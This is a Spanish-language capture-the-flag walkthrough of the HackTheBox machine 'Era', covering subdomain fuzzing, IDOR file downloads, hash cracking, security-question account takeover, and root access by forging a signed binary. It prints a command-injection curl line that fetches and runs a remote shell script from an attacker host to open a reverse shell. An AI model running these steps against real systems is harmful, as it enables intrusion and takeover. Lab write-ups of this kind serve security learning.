
Bienvenidos, hoy resolveremos la máquina “Era” de HackTheBox:
Reconocimiento básico Link to heading
Durante el primer escaneo, encontraremos los puertos 21 y 80 abiertos:

Al acceder al puerto HTTP, es fácil decir que se trata de un sitio web completamente estático, claramente tendremos que buscar en otro lugar.

Buscando VHosts: Link to heading
Como está claro que debemos buscar sitios web alternativos dentro del servidor, usaremos ffuf para solucionar el problema con el siguiente comando:
ffuf -p 0.1 -c -r -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://era.htb -H "Host: FUZZ.era.htb" -fs 19493
Los sitios web suelen dar tamaños de respuesta genéricos que podemos filtrar con
-fs ${GENERIC_SIZE}
.

Parece que ffuf encontró una entrada oculta detrás del subdominio “file”, si lo agregamos a nuestro archivo /etc/hosts
nos encontraremos con el siguiente sitio web:

Ganando un punto de apoyo Link to heading
La parte más interesante es la capacidad de iniciar sesión usando preguntas de seguridad, sin embargo, no tenemos nada de información con la que aprovecharnos de este sistema:

A primera vista puede parecer que solo podemos iniciar sesión en cuentas existentes, pero si ejecutamos el siguiente escaneo con gobuster, este revelará la existencia de una página para registrarnos:
gobuster dir --url http://file.era.htb/ --wordlist /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -xl 6765
Al igual que con ffuf, gobuster también requiere el parámetro
-xl ${GENERIC_SIZE}
para filtrar las respuestas no válidas.

Divirtiéndonos con IDOR: Link to heading
Después de registrarnos en el servicio, finalmente podemos comenzar a hablar sobre su propósito, el cuál parece ser subir y compartir archivos:

Al subir un archivo, se nos da un enlace que apunta al ID de ese mismo archivo, por lo que intentaremos acceder a otros archivos una vez más utilizando ffuf:

Podemos usar seq 0 451 > numbers.txt
para generar una wordlist con la que intentar acceder a todos los identificadores hasta el de nuestro propio archivo, y luego emparejarlo con ffuf, llevándonos a encontrar dos archivos válidos (450 siendo nuestra propio archivo).
ffuf -p 0.1 -c -r -b 'PHPSESSID=${YOUR_COOKIE}' -w numbers.txt -u http://file.era.htb/download.php?id=FUZZ -fs 7686

Recuerda filtrar los tamaños de respuesta e incluir tu cookie PHPSESSID al intentar usar ffuf aquí.
Al descargar los dos archivos, podemos ver que uno es una copia de seguridad del sitio web conteniendo el código fuente de este mismo junto a una base de datos sqlite.

Al abrir la base de datos con sqlitebrowser podemos encontrar una tabla “users” que incluye todos los datos de los usuarios existentes en el momento de la copia de seguridad, incluidos hashes de contraseñas, respuestas a preguntas de seguridad y nombres de usuario. Podrías pensar que ahora deberíamos intentar probar las preguntas de seguridad, sin embargo, la respuesta es mucho más simple. Pero primero, intentemos descifrar los hashes.

Desafortunadamente, solo pudimos descifrar 2 de los 6 hashes usando nuestra lista de palabras rockyou.txt (el primero perteneciente a “eric” y el segundo a “yuri”), pero no pasa nada, ya que estos serán suficientes para más adelante.

¿Por qué existe esto? Link to heading
Durante el tiempo explorando el portal file.era.htb, probablemente pasástes por alto la pestaña “Update security questions” y la ignorastes pensando que era solo un formulario normal de “Cambiar contraseña”, excepto para preguntas de seguridad, pero si miras más de cerca, te darás cuenta de que este formulario también incluye “Username”.

Si intentamos ingresar el nombre de usuario de administrador que encontramos en la base de datos…

Descubriremos que en realidad podemos cambiar las preguntas de seguridad para otros usuarios, incluidas las del administrador:

Ahora, si intentamos iniciar sesión con las nuevas preguntas de seguridad, nos encontraremos dentro de la cuenta de administrador.

Shell inversa complicada: Link to heading
Poco después de iniciar sesión, probablemente te darás cuenta de que en realidad no hay mucho que podamos hacer como el administrador, mirando alrededor parece que no hay pestañas adicionales para administrar la aplicación con esta cuenta.
Mirando dentro del código fuente que encontramos junto al archivo de la base de datos, podemos encontrar estas líneas en download.php
que indican la existencia de una función beta disponible solo para el administrador:

El parámetro format
parece usarse para modificar la forma en que el sitio web muestra el proceso de descarga del archivo:

Sin embargo, también podemos ver cómo el contenido de este parámetro se usa dentro de la función fopen()
sin ningún tipo de saneamiento, que podemos explotar de la siguiente manera:
curl -b 'PHPSESSID=${YOUR_COOKIE}' --path-as-is 'http://file.era.htb/download.php?id=54&show=true&format=ssh2.exec://yuri:${REPLACE_ME}@127.0.0.1/curl+http://10.10.x.x:8000/shell.sh|sh|'
Recuerda reemplazar
${REPLACE_ME}
con la contraseña que descifrastes de yuri anteriormente.

Y también recuerda estabilizar la shell inversa con los siguientes comandos:
python3 -c "importar pty; pty.spawn('/bin/bash')" export TERM=xterm # Pulsar Ctrl+Z stty raw -echo; Fg
Una vez dentro, podemos cambiar al usuario “eric” (o ejecutar el comando ssh con las credenciales de eric) y obtener la bandera user.txt:

PrivEsc: Link to heading
Una vez dentro, podemos encontrar dentro de /opt
un binario llamado “monitor” y un archivo de logs que aparentemente se genera a partir del mismo binario:

Mirando de cerca, podemos ver que nuestro usuario “eric” está dentro del grupo “devs”, lo que le da acceso de escritura al binario “monitor”, y ejecutarlo parece realizar un escaneo normal del sistema.

Revisando los archivos crontab públicos, a primera vista parece haber nada que llame a este archivo, aunque podemos usar pspy para verificar si se están ejecutando comandos periódicamente.

Como se puede ver, hay un cronjob que llama a un script dentro de /root
que ejecuta el binario “monitor”, sin embargo, es más complicado que eso, ya que hay otros comandos vinculados al script. Pero lo más importante es que el binario sobre el que tenemos control de escritura se ejecuta mediante UID=0 o root.
Pero antes que nada, debemos entender qué está pasando con los otros comandos, si ejecutamos objcopy --dump-section.text_sig=./signature.bin /opt/AV/periodic-checks/monitor
podemos obtener un archivo de firma incrustado dentro del binario, y si ejecutamos los otros dos comandos…

Podemos ver que estos extraen la dirección de correo electrónico correctamente del archivo de firma, por lo que podemos suponer que el script se negará a ejecutar /opt/AV/periodic-checks/monitor
si no puede verificar correctamente la firma, entonces, ¿qué podemos hacer al respecto?
Aprendiendo a utilizar objcopy: Link to heading
Así como el comando objcopy detectado por pspy nos permitió volcar la firma del binario, también podemos consultar el manual para encontrar esta línea adicional:

Con la firma en nuestras manos, podemos compilar un binario nosotros mismos, y añadir la firma usando objcopy para que el script confíe en nuestro propio binario, siendo en este caso una shell inversa en C:

Y ahí lo tienes, después de compilar e incrustar la firma a nuestro propia shell inversa, sobrescribimos el binario del monitor con el contenido del nuestro, y en breve aterrizamos en una shell justo encima de la bandera root.txt.